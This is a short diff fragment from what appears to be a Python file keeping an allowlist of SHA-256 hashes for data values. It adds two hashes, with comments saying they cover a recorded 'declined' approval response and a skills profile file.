"6b8d0f36c12c9163c12a5b05fe32d5175e12e656e7a526063ed32c701d6f49d6", "6bef11d967221994271c977a708462542dd9ad5ff330f913c28ac6dde824b7e9", @@ -246,6 +248,10 @@ }) DATA_VALUES = frozenset({"all_events", "top_20"}) DATA_VALUE_SHA256 = frozenset({ + # Runtime native approval response "declined" is recorded request data. + "a8bfacf3bcd75164698d9d70aacd2ce5a5bb0993f5a9badf2e37b396fe5986d9", + # skills/profiles.json specifies scenario/role intersection procedure. + "78f3ed373de08aa0905d3c62047747fbc154971eef22247c6429748b6222cd91", "012c690424af3c14cb13030a4c2194070e0fb677fe9907532fbe49e07bc6b3e5", "02459061751691ce72c0ed507442bdae0dcb8e4c650c617bbf617a4f29a98b77", "030a370a1ba75ca7f9c8a49c076d9b9aed94f5b5225a54826d4d2ecf926729bc",